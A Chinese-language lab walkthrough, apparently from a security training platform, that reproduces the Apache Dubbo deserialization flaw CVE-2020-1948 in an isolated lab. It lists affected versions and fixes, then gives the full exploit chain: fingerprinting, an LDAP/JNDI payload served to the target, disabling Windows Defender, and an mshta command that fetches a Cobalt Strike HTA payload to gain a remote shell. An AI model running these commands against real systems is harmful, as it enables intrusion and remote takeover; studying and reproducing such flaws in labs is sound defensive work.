预备知识 
Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。

RPC是远程过程调用的简称,广泛应用在大规模分布式应用中,作用是有助于系统的垂直拆分,使系统更易拓展。

Dubbo框架支持9种协议,Dubbo协议、Hessian协议、HTTP协议、RMI协议、WebService协议、Thrift协议、Memcached协议、Redis协议、Rest协议。其中,默认的,也是最常用的,那就是dubbo协议。既然是网络协议,那么,必然要有端口号。所以,在使用dubbo协议暴露服务时,需要配置dubbo端口。dubbo协议的默认端口是20880。

2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响范围:Dubbo 2.7.0 - 2.7.6、Dubbo 2.6.0 - 2.6.7、Dubbo 2.5.x (官方不再维护)


1、升级到2.7.7或更高版本,下载地址为:
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7
2、更换默认的反序列化方式。
Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式,如:rest,grpc,thrift等。

实验目的
通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。

实验环境
靶机:win10+jdk8u121    IP:10.1.1.140

攻击机:Kali+jdk8u121    IP:10.1.1.148

实验步骤一
前段时间,你们公司受到了入侵,经过排查发现是公司的一个服务框架存在漏洞,你作为公司的高级渗透测试工程师,需要将此漏洞复现,并给出修复方案。

任务描述:作为一名渗透测试工程师,对于漏洞复现是我们必须掌握的技能,但是复现漏洞除了使用真实环境之外还需要学会自己搭建环境。

切换到靶机,打开浏览器下载漏洞环境,

http://tools.hetianlab.com/tools/CVE-2020-1948.zip
解压之后有两个压缩包

dubbo需要开通的端口 dubbo协议端口_apache


这里我们需要用到的是dubbo.zip,解压之后打开cmd进入到dubbo.jar包所在文件夹,执行java -jar dubbo.jar用以启动漏洞环境,启动完成后会监听12345端口(注:该端口为该jar包监听的端口)。至此,我们复现漏洞所需环境搭建完成。

dubbo需要开通的端口 dubbo协议端口_java_02


启动完成后使用telnet命令连接测试环境是否启动无误,


切换到攻击机kali,打开终端,执行


telnet 10.1.1.140 12345

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_03



实验步骤二
任务描述:对dubbo框架进行指纹识别及漏洞利用。


使用nmap进行指纹识别


nmap -sV -p 12345 10.1.1.140

dubbo需要开通的端口 dubbo协议端口_java_04



下载漏洞利用所需工具


wget http://tools.hetianlab.com/tools/CVE-2020-1948.zip

dubbo需要开通的端口 dubbo协议端口_apache_05



然后解压


unzip CVE-2020-1948.zip -d cve-2020-1948

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_06


解压后可以看到有两个压缩文件,dubboRCE.zip是我们需要的文件,再次解压后可以看到如下文件:

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_07


其中calc.java是执行命令的(弹计算器),Dubbo.py是需要运行的脚本,marshalsec-0.0.3-SNAPSHOT-all.jar是用来启动一个ldap服务的工具,CS3.14-0504.zip是cobaltstrike的压缩包。calc.java内容如下,

dubbo需要开通的端口 dubbo协议端口_apache_08



执行javac calc.java进行编译,编译完成后会在当前目录得到一个calc.class类文件

dubbo需要开通的端口 dubbo协议端口_dubbo_09


然后使用python启动一个web服务,该服务用于被测目标下载漏洞利用代码用。


python -m SimpleHTTPServer 8080

dubbo需要开通的端口 dubbo协议端口_jar_10


利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个ldap服务

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_11


注:命令中的ip及8080端口为我们启动web服务的IP和端口,比如我们在本机10.1.1.148启动一个监听端口为8080的web服务,则为10.1.1.148:8080,1234端口为启动ldap服务所监听的端口。


启动完成后执行脚本


python3 Dubbo.py 10.1.1.140 12345 ldap://10.1.1.148:1234/calc

dubbo需要开通的端口 dubbo协议端口_apache_12



注:前面的10.1.1.140为漏洞环境所在地址,12345为该漏洞环境监听的端口,后面的ldap://10.1.1.148:1234/为启动的ldap服务的主机地址及该服务监听的1234端口。


除了通过返回信息来判断外,观察 LDAP 代理是否出现请求转发也是判断POC利用是否成功的重要依据

dubbo需要开通的端口 dubbo协议端口_jar_13


切换到靶机,可以看到成功执行了弹计算器的命令。

dubbo需要开通的端口 dubbo协议端口_dubbo_14



实验步骤三
任务描述:模拟真实渗透,利用Cobalt Strike使其上线。


为了防止windows defender将我们拦截了,先将它关闭,进入到靶机,点击左下角的开始菜单,选择设置,然后选择更新和安全,将实时保护关闭。

dubbo需要开通的端口 dubbo协议端口_jar_15


使用unzip解压cobaltstrike


unzip CS3.14-0504.zip -d cs

dubbo需要开通的端口 dubbo协议端口_java_16


进入到cs文件夹


给服务端文件赋予777权限然后启动


chmod 777 teamserver


nohup ./teamserver 10.1.1.148 password &

dubbo需要开通的端口 dubbo协议端口_java_17



注:该命令为后台运行cs,ip为本地ip,password为密码,可以随意设置


然后启动客户端:


java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

dubbo需要开通的端口 dubbo协议端口_apache_18



这里的host我们填写前面启动时的地址即可,port默认为50050,在启动服务端的时候通过回显也可以得知。如果更改了teamserver文件里的server_port值那么在此处就需要改成对应的。user可以随意设置,password为我们前面启动teamserver时的密码password


都设置好后,点击connect

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_19



这里是校验hash,第一次连接时会出现,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可。

启动后界面如下:

dubbo需要开通的端口 dubbo协议端口_dubbo_20



首先创建一个listener,左上角的cobaltstrike->listeners,会在下方出现一个窗口

dubbo需要开通的端口 dubbo协议端口_apache_21



点击add添加新的listener

dubbo需要开通的端口 dubbo协议端口_jar_22


Name可以随意,payload主要分为beacon和foreign两大类


Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。


Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。


Host为kali本机的ip


Port可以也可以随意


点击save会出现下图弹框,点击确定即可。

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_23



此时listener出现了新记录

dubbo需要开通的端口 dubbo协议端口_java_24



接下来我们选择攻击的途径,如图选中html application,采用html应用的途径攻击

dubbo需要开通的端口 dubbo协议端口_jar_25



然后还要选择方法,分别是可执行文件,powershell,vb程序,这里选择powershell

dubbo需要开通的端口 dubbo协议端口_dubbo_26



选择后点击generate生成,我们可以选择生成路径及文件名,保存。

dubbo需要开通的端口 dubbo协议端口_java_27



然后我们利用web服务,如下图,选择host file

dubbo需要开通的端口 dubbo协议端口_jar_28



在file一行选中前面生成的hta文件的路径

dubbo需要开通的端口 dubbo协议端口_dubbo_29



点击launch即可生成链接

dubbo需要开通的端口 dubbo协议端口_java_30



这条链接就是用于执行本次攻击,使用mshta执行命令,mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。


然后编辑calc.java,将前面弹计算器的命令替换为如下:


mshta http://10.1.1.148:80/download/file.ext

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_31



然后删除掉原来的类文件,重新编译,重复实验步骤二,执行javac calc.java 得到calc.class类文件,使用python启动一个web服务


python -m SimpleHTTPServer 8080

dubbo需要开通的端口 dubbo协议端口_apache_32



重新打开一个终端,利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个ldap服务,


注:如果ldap还使用1234端口可能会报错地址已经使用,所以换个端口

dubbo需要开通的端口 dubbo协议端口_jar_33



然后执行脚本

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_34


然后在cs可以看到肉鸡上线了。

dubbo需要开通的端口 dubbo协议端口_dubbo_35



选中这条记录,右键点击interact即可与靶机进行交互 

dubbo需要开通的端口 dubbo协议端口_jar_36

部分截图如下:

dubbo需要开通的端口 dubbo协议端口_jar_37

dubbo需要开通的端口 dubbo协议端口_jar_38

dubbo需要开通的端口 dubbo协议端口_apache_39

dubbo需要开通的端口 dubbo协议端口_jar_40

dubbo需要开通的端口 dubbo协议端口_java_41

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_42

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_43

dubbo需要开通的端口 dubbo协议端口_dubbo_44

dubbo需要开通的端口 dubbo协议端口_dubbo_45

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_46

dubbo需要开通的端口 dubbo协议端口_jar_47

dubbo需要开通的端口 dubbo协议端口_java_48

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_49

dubbo需要开通的端口 dubbo协议端口_dubbo需要开通的端口_50

dubbo需要开通的端口 dubbo协议端口_apache_51

 

dubbo需要开通的端口 dubbo协议端口_apache_52

dubbo需要开通的端口 dubbo协议端口_java_53

 

dubbo需要开通的端口 dubbo协议端口_jar_54

 

dubbo需要开通的端口 dubbo协议端口_dubbo_55

dubbo需要开通的端口 dubbo协议端口_apache_56

dubbo需要开通的端口 dubbo协议端口_dubbo_57

dubbo需要开通的端口 dubbo协议端口_java_58